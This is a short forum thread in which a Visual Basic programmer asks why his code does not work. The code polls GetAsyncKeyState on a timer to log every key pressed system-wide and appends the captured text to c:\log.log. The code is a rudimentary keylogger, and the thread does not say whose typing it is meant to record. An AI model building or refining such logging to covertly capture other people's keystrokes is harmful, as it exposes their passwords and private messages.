Key press api call

[[T3]bill]

Hey guys and gals,

I was attempting to use this api function to log keystrokes.

Public Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal nVirtKey As Long) As Integer

The documentation says that you pass it an integer (representing the ascii char set, you know, 1 to 256) and it will return true if the key is actually pressed at that moment. That part works. I'm making the event fire with a timer. But you are supposed to be able to check this bit- &H8000 - and if it is set then the key has been pressed since the last check. This part doesn't work and I'm not to sure why. I'm not very familiar with this bit checking thing. It is never set. This is the code that I'm basing my small prog on.
www.vbapi.com/ The same thing happened with their example too.
Anyway here is my code and thanks in advance
Bill


' this part is in a module of course
Public Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal nVirtKey As Long) As Integer

'This is code behind my timer event
Private Sub Timer1_Timer()
Dim keystate As Integer ' state of the Q key


For index = 1 To 256
keystate = GetAsyncKeyState(index)
' Check the &H8000 bit of the return value
If keystate And &H8000 Then
Text1.Text = Text1.Text + Chr(index)
If Len(Text1.Text) > 40 Then
Open "c:\log.log" For Append As #1
Write #1, Text1.Text
Close
Text1.Text = "": Reset

End If
End If
Next index
End Sub

[[T3]bill]

Never mind, i searched the posts and Vlatko had another way to do it, so I'm going to use that.